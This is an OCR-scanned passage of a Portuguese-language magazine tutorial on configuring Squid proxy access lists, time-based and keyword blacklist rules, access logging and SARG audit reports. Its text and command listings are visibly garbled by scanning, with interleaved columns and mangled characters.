acl nomeacl tipoacl argumento

src Filtro que define a origem dos hosts ou rede que sera considerada na ACL
- - - Onde:
time Filtro por hora e dia da semana » Lo
e acl: nome padrdo para iniciar a regra;
urlpath_regex Filtro de complemento de uma URL que pode ser utilizado para tratar uma URI (\.gif, \.jpg). o nomeacl: nome para identificacio;

. 7
url_regex Filtro de uma string na URL . tipoacl: tipo de acl que serd criada;
dstdomain Filtro de uma Unica URL e argumento: opgdes que podem ser
proxy_auth Filtro por usuarios autenticados adicionadas.
arp Filtro por MAC address

- . A Tabela 2 demonstra alguns exem-
maxconn Filtro por conexdes .
plos de filtros.
proto Filtro por protocolos O arquivo squid.conf original traz
port Filtro por portas de servico uma segdo para que o administrador

Tabela 2. Exemplos de filtro de contetdo

As listas de acesso oferecem flexibilidade no momento de
classificar os usudrios e definir as politicas de seguranca para
utilizagdo. Elas sdo definidas em uma segdo especifica do arquivo
squid.conf, combinadas com as diretivas http_access, que serdo
demonstradas mais a frente.

Sintaxe da ACL

Um dos itens mais importantes do arquivo de configuragdo
squid.conf sdo as listas de controle de acesso, ou ACLs. E sobre
elas que abordaremos neste tépico.

E possivel criar ACLs com padrdes diferentes de restrigdo e
acesso como, por exemplo, liberagdo e/ou bloqueio de acesso a
internet para um determinado computador, rede de computadores
ou sites indesejados. Neste artigo, serdo demonstrados exemplos
para as seguintes listas de controle:
® ACLs de origem: sio as regras que definem os IPs que poderdo
ter acesso ou restricao as regras definidas;
® ACLs de destino: definem qual destino podera ser ou ndo
acessado. Este controle pode ser realizado informando um site,
uma rede ou fazendo uso de expressdes regulares;
® ACLs de horario: permitem liberar ou bloquear o acesso de
acordo com hordrios definidos nas regras;

e ACLs utilizando blacklist: permite controle granular no blo-
queio de acessos através de palavras especificas;

® ACLs utilizando whitelist: permite controle granular na libe-
ragdo de dominios que contenham palavras da blacklist.

A sintaxe para criagdo de uma ACL é:

adicione as suas préprias ACLs, indi-

cada pelo comentdrio # INSERT YOUR

OWN RULE(S) HERE TO ALLOW
ACCESS FROM YOUR CLIENTS. Como demonstrado an-
teriormente, o arquivo utilizado neste artigo estd sem os
comentdrios. Assim, as listas de controle personalizadas
devem ser inseridas abaixo da linha http_access deny
CONNECT ISSL_ports.

Configuracdo de ACL

ACL de Origem

Esse tipo de ACL tem por objetivo criar regras que irdo se ba-
sear no endereco IP ou rede de origem do cliente que solicitou a
requisigdo de acesso. Para configurar, é necessario abrir o arquivo
squid.conf, localizar a se¢do das ACLs e inserir as linhas:

acl MyNetwork src 192.168.1.0/24
acl gateway src 192.168.1.1

Seguindo essa sintaxe, foi criada uma ACL que terd como origem
de acessos os IPs da rede 192.168.1.0/24. Na segunda linha, foi
definido o IP do gateway que essa rede utiliza.

ACL de Destino

Na ACL de destino, as regras irdo se basear no endereco IP do
servidor solicitado (destino) na requisi¢do do cliente. Nessa con-
figuragdo, é possivel restringir o acesso a outras redes, enderegos
de dominio ou partes de um dominio.

Para isso, serd necesséario inserir as ACLs:

acl MyNetwork src 192.168.1.0/24
acl International dstdomain .com
acl Google dstdomain .google.com
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Na primeira linha é informada a rede de
origem que serd usada como base para a
regra de acesso. Na segunda linha, a ACL
International terd como dominios somente
os enderecgos que tiverem na URL o final
.com. Finalmente, na terceira linha, é defi-
nido que a ACL Goog]le terd como destino
o site .google.com.

Essa estrutura foi criada com o intuito
de restringir o acesso da rede a um site
com o dominio .com, exceto para o goo-
gle.com. Isso quer dizer que, se o usudrio
tentar abrir o site www.amazon.com, por
exemplo, ndo ird conseguir.

Configuracao da diretiva http_access

Através das ACLs séo definidos os tipos
de controles para a rede onde, por exemplo,
0 Squid é configurado para analisar tudo
que se origina na rede 192.168.1.0. Porém,
ainda nessa etapa, as requisi¢des ndo sao
tratadas, sendo necessario configurar a
diretiva http_access.

Uma vez que as ACLs de origem e des-
tino foram criadas, é necessario definir o
que serd liberado (allow) e/ou o que serd
bloqueado (deny) para a rede 192.168.1.0.
Para isso, basta localizar a diretiva http_
access no arquivo squid.conf e adicionar
as linhas:

http_access allow MyNetwork Google
http_access deny MyNetwork International
http_access allow MyNetwork

Na primeira linha do http_access é per-
mitido que a rede interna tenha acesso ao
Google. Jd na segunda linha é negado o
acesso aos dominios .com que foram defi-
nidos na ACL International e, por fim, na
terceiralinha, é permitido o acesso normal
a rede interna.

Testando a configuracao

Apés realizar as configuragdes, é hora
de testar as regras que foram adicionadas
carregando as novas configuragdes com
os comandos:

#squid -k parse
# squid -k reconfigure

Antes de efetuar os testes, é interessante
deixar no terminal o comando tail ro-
dando. Ele serve para acompanhar o log
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Figura 8. Trecho do log de acesso

ERROR

The requested URL could not be retrieved

Access Denied.

\,

The following error was encounlered while Lrying Lo relrieve the URL: hilpJiwww.amazon.com/

Figura 9. Erro na tentativa de acesso a site ndo permitido

de acessos e verificar se as regras foram
aplicadas:

# tail -f /var/log/squid/access.log

Com o browser configurado, acesse
o site www.google.com e em seguida
www.amazon.com. O log mostrard os
testes e o que foi liberado ou bloqueado
conforme a Figura 8.

No browser, o site www.google.com abrird
normalmente, mas ao tentar acessar o www.
amazon.com ou qualquer outro site com fi-
nal .com, deverd ser exibida uma mensagem
de erro, como demonstrado na Figura 9.

Para ter certeza de que as regras do Squid
estdo sendo aplicadas, pode-se fazer um
teste invertendo o cendrio: serd permitido
0 acesso a todos os sites com final .com de-
finido na ACL Internacional, e bloqueado
0 acesso a0 www.google.com definido na
ACL Google.

Para isso, as linhas no arquivo squid.
conf deverdo ser alteradas conforme o
exemplo:

http_access deny MyNetwork Google
http_access allow MyNetwork International
http_access allow MyNetwork

Apés a alteragdo, analise se existe algum
erro de sintaxe no arquivo, carregue as no-
vas configuragdes e verifique os logs. Isso
é feito conforme a sequéncia de comandos
a seguir:

#squid -k parse
# squid -k reconfigure
# tail -f /var/log/squid/access.log

Na Figura 10 é possivel observar que
as regras de acesso foram realmente
ajustadas.

Restri¢oes especificas: bloqueio de acesso
por hordrio

A configuracgdo de uma ACL de hordrio
segue a mesma sintaxe das ACLs demons-
tradas anteriormente e permite determinar
dias e hordrios em que os acessos serdo
liberados ou bloqueados.

Como exemplo, serdo criadas trés ACLs
que irdo definir o hordrio da manhj, al-
moco e parte da tarde:

acl manha time 08:00-11:59
acl almoco time 12:00-14:00
acl tarde time 14:01-19:00

As ACLs de hordrio podem ser com-
binadas com outras, permitindo que os
usudrios acessem alguns sites somente em
determinados hordrios como, por exemplo,
arede MyNetwork terd acesso ao Facebook
somente no horério de almogo.

A Listagem 5 apresenta a configuragado
de uma ACL por hordrio.

No exemplo, foi criada uma ACL para
referenciar o dominio .facebook.com e, em
seguida, esta foi combinada com as ACLs
de horério para que a rede tenha acesso ao
site somente em hordrios especificos.

Gerenciando ACLs com BlackLists e
WhitelLists

E possivel criar muitas combinagdes
entre as ACLs e, com essa diversidade de
informacdes, o arquivo de configuragdo
pode crescer em termos de quantidade



de linhas e ficar desorganizado. Com o
objetivo de evitar esse problema, o ad-
ministrador pode utilizar listas (lists) no
Squid reunindo um grupo de palavras ou
dominios em um arquivo para liberacdo e
outro para bloqueio.

Esses arquivos podem ser definidos
como blacklist e whitelist. Na blacklist sdo
adicionados todos os termos que devem
ser bloqueados, enquanto na whitelist
entram tanto os dominios que devem ser
liberados, quanto os que podem entrar
em conflito com a blacklist, como serd
demonstrado mais a frente. Para criar a
whitelist, execute:

echo -e “xxx\nsexy\nplayboy\ngirls” > /etc/squid/blacklist
echo “www.planetgirls.com.br” > /etc/squid/whitelist

Na primeira linha, no comando echo foi
utilizado o recurso -e para ativar o modo
de edigdo para que ele entenda que a cada
\n é necessdrio fazer uma quebra de linha
dentro do arquivo /etc/squid/blacklist.
Na segunda linha foi apenas adicionada a
URL no arquivo /etc/squid/whitelist.

O préximo passo € criar as ACLs com o
nome das listas e depois definir as regras
com o http_access, conforme o exemplo:

acl blacklist url_regex -i “/etc/squid/blacklist”
acl whitelist url_regex -i “/etc/squid/whitelist”
http_access deny MyNetwork blacklist lwhitelist

As linhas acl blacklist e acl whitelist in-
dicam o caminho no qual estd o arquivo
da lista e a opgdo -i faz com que o Squid
ndo leve em consideragdo o case sensitive
das palavras. Jd no http_access, tudo o
que estiver na blacklist serd bloqueado,
com excegao (representada pelo ponto de
exclamagdo) do que estiver na whitelist.
E importante observar que a palavra

girls foi adicionada na blacklist, porém
foi liberada a URL www.planetgirls.
com.br na whitelist, porque sdo palavras
conflitantes, isto é, uma pédgina pode ser
bloqueada porque contém a palavra ‘girl”.
Dai a necessidade de criar uma excegdo
para determinadas URLs.

Apbs as alteragdes, da mesma forma
como foi demonstrado anteriormente, é
necessdrio realizar a etapa de atualiza-
¢do das configuragdes do Squid e acom-
panhar no terminal o registro nos logs
dos resultados de acesso a dois sites que
tenham a palavra girls.

A Figura 11 apresenta um trecho do log
de acesso apéds a configuragdo das ACLs
blacklist e whitelist.

O uso de listas pode facilitar o geren-
ciamento da configuragdo de restri¢des
no Squid. E recomendado que o adminis-
trador analise e teste as regras antes de
disponibiliza-las efetivamente na rede.

Logs no Squid

Os arquivos de log sdo as fontes primarias
de informagdes sobre o funcionamento do
Squid. Isto inclui URIs solicitadas pelos
usudrios, objetos que foram salvos em dis-
co, mensagens de adverténcias e erros.

No que diz respeito a registros das
atividades dos usudrios na rede, a con-
figuracdo do Squid tem vinculo com as
orientacdes da NBR ISO/IEC 27002:2005
no item 10.10.1, onde é recomendado que
sejam gerados registros (log) de ativida-
des dos usudrios e que sejam mantidos
por um periodo de tempo determinado
pela empresa com o objetivo de auxiliar
auditorias, investiga¢des e monitora-
mento de controle de acesso. Assim, para
cumprir essa orientacao, sdo configuradas

as diretivas cache_access_log, cache_
store_log e cache_log, que indicam os
locais onde os logs serdo armazenados.
Os arquivos cache.log e store.log con-
tém informag6es sobre o funcionamento
do Squid e objetos que entraram e sairam
do cache, respectivamente. Jd o arquivo
access.log registra acdes dos usudrios
que podem produzir relatérios de quais
sites foram acessados, hordrios, quantos
bytes foram baixados, quantas conexdes
foram feitas, quais sites foram negados,
falha de autenticagdo, entre outros.

Auditoria de acesso com SARG

O SARG - Squid Analysis Report Gene-
rator — é uma ferramenta que tem como
objetivo analisar o arquivo /var/squid/
log/access.log e, com base nessa analise,
gerar um relatério de acesso baseado no
acesso dos usudrios.

O pacote SARG néo estd presente no re-
positério padrao do Debian. Para instala-lo
utilizando o aptitude, é necessdrio alterar
oarquivo /etc/apt/sources.list, atualiza-lo
einstalar a ferramenta conforme demons-
trado na Listagem 6.

Podemos verificar se o pacote sarg
foi instalado corretamente conforme a
Figura 12.

O arquivo de configuracdo do SARG
também é bem detalhado e com muitos co-
mentdrios, assim como o do Squid. Dessa
forma, é interessante fazer um backup do
arquivo original e retirar os comentdrios
para ficarmos somente com as linhas do
arquivo de configuragao:

# cp /etc/sarg/sarg.cof /etc/sarg.conf.original
# egrep -v“A#|AS$" sarg.conf.original > sarg.conf
# vim /etc/sarg/sarg.conf

Figura 11. Resultado de acessos apds a configuragdo de blacklist e whitelist

Listagem 5. Exemplo de ACL por horario.

acl Facebook dstdomain .facebook.com
http_access deny MyNetwork Facebook manha

http_access allow MyNetwork Facebook almoco
http_access deny MyNetwork Facebook tarde
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root@squid-lab: fetc/squid# dpkg -1 | grep sarg
ii sarg 2.3.1-1~bpo60+1 sgquid analysis report generator

Figura 12. Verificacdo de instalacdo de pacote

. . 4 Squid Analysis Feport Generator
Listagem 6. Instalacdo do SARG.
# echo deb http://backports.debian.org/debian-backports squeeze-backports Squis lr!;'}ﬁrd';ﬁf? JS.:T_ zﬁelmnﬁ
main >> /etc/apt/sources.list LT TS |
z :SE::SE: il:ngaaltlesarg NUM|ACCESSED SITE | COMNECT| BYTES |TIME |
J www devmedia.com.br | 56 361.64 1 0:00:02|
2| www planetgirls.com br 19| 13 69K 1]
Listagem 7. Configuracao do Apache para visualizagdo dos relatérios. 53| W SRR 3| B2.23K 00008
I www google.com.br 6[233.64 K| 0:00:01
# vim /etc/apache2/httpd.conf 5| ad.doubleclick net 5| 328K 0
Alias /squid-reports “/var/lib/sarg/” J 2-BCH IMALES-AMAZan Lo 4| 9468k 0:00:01
DirectoryIndex index.html 7| vidzos web-03 net 4| 5406k o
__ B|g-ecx.images-amazon.com 4| 50.75K] 1]
Reiniciando o servico do Apache 8l e gelr ey 2o | L 2
.. 10| www google .com 3| 453K 1]
# /etc/init.d/apache2 restart T T 00 =
E devmedia.googlecode.com 2| 363K 1)
Iniciando o SARG  13[ www linuwrall corm br | 2| .06k 1]
#sarg ﬂ www facebook.com | 2| La4K 1]
_ 15| fufeeds .mozilla.com 2| 1.78K] a
_ 16| d20307dmSmaftz.cloudfrant net 2 770 a
l pda-bes.amazon.com 2 B57 a
18] 50.2mdn net 1] 42.18K] [
10| 55l gstatic com 1] 17 38K 0
Nio é necessdrio fazer altera¢des no arquivo. Mas vale a pena (o] e Wi il L
21| itgirls.com br 1| 151K 1)
conferir as linhas dos arquivos de configura¢do como, por exem- 22| acsp.comodaca.com 1 103k @
plo, a linha output_dir /var/lib/sarg, que é a linha na qual ele % ::Z:E:;::Ekm i 1?;: — :03
definird qual o caminho que ird usar para gerar o relatério e __ 25| clients 1 gaogle.com br Y o3 0
apresentar as informagdes no SARG. Generated by sarg-2.3.1 Sep-18-2010 on Jull24/2012 00:45

Os relatérios do SARG sdo visualizados a partir de uma interface
web. Assim, antes de iniciar o servigo, é necessario também con-
figurar o Apache conforme demonstrado na Listagem 7. -
Alinha de Alias define a ligagdo entre os relatérios gerados em M Squid Analysis Report Generator
/var/lib/sarg que serdo visualizados via browser na URL http:// '

Figura 14. Listagem das URLs acessadas pela maquina

: < : Squid User Access Reports
localhost/squid-reports. Jé a segunda linha serve apenas para e |
manter como padrdo o index.html da pdgina. Apds adicionar as UL |
informacdes, reinicie o Apache e inicie 0 SARG. USERID  [IPINAME | DATEITINE |ACCESSED SITE

Para visualizar os relatérios, basta acessar o endereco no pré- 192.168.10.49| 192. 168. 10.49| 24-07-2012-00:40:26| http: itgirls .com.br?

|
|
| | 24-07-2012-09:40:28| http:/'www .google.coml |
| 24-07-2012-00:40:42| http :\'www google.comi |

|

|

|

prio servidor Squid e ver o contetido. O endereco utilizado neste
exemplo é http://localhost/squid-reports. As Figuras 13, 14 e 15
apresentam alguns relatérios gerados, onde é possivel visualizar a
lista dos IPs de cada host analisado, as URLs que foram acessadas
por este, bem como os acessos negados.

|

| |24-07-2012-00:40:44 | kttp :'www google.comi

| | 24-07-2012-08:40:5 1| http:www linusmall.com.brl

| | 24-07-2012-00:40:51|kttp :N'www linuzmall.com brifavicen ico

Generated by sarg-2.2.1 Sep-18-2010 on Jull24/2012 09:45

Figura 15. Listagem das URLs que foram blogueadas pelo Squid

.
1) | . ~
WY JJ Squid Analysis Feport Generator c°n(|usao
Squid User Access Reports Utilizar o Squid como ferramenta de proxy/cache na rede
Period: 2012 Jul 24 . . . s .
e permite que seja criado um controle sobre o acesso dos usudrios
Top users .
ao contetido web ou de outras redes. Esse controle consegue ser
i limitado através de dias e hordrios e controlado através de logs.
ites Sers
Denied arcesses Para uma melhor auditoria do processo de gerenciamento da
NUM| | USERID CONNECT| BYTES|%EYTES| IN-CACHE-OUT| ELAPSED TIME| MILLISEC|%TIME | rede, podemos utilizar o SARG, um software que utilizard os
1 gy | 192.168. 10 49 135| L.o0M| 100,00%| 12,54% 87.46% 00:00:18| 19,333 100,00%| . . L. .
= =T T2 500 17 46w T recursos de log do Squid para criar relatérios que facilitam a
AVERAGE 133| 1.004] _ oomos| 13,333 visualizagdo e controle do administrador de redes.
L Generated by sarg-2.3.1 Sep-18-2010 on Juli24/2012 09:45 O Squid é um software que estd continuamente em desenvol-

Figura 13. Listagem dos IPs analisados vimento, com o objetivo de adicionar novas funcionalidades e
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manter a estabilidade e compatibilidade em vdrias plataformas,
além da possibilidade de integracdo de ferramentas como firewall
e antivirus.

Neste artigo, o Squid foi configurado para atuar como servidor
de cache e proxy, com exemplos de regras para controle através
de ACLs de origem, destino, hordrio e criagdo de listas de acesso.
Também foi demonstrado como configurar o SARG para andlise
de logs e extragdo de relatérios para fins de auditoria.

Por fim, vale ressaltar que a configuragdo do Squid nao se
esgota com as informagdes apresentadas neste artigo, sendo um
interessante estudo, a integracdo dessa poderosa ferramenta com
firewall, antivirus e servicos de autenticacao.
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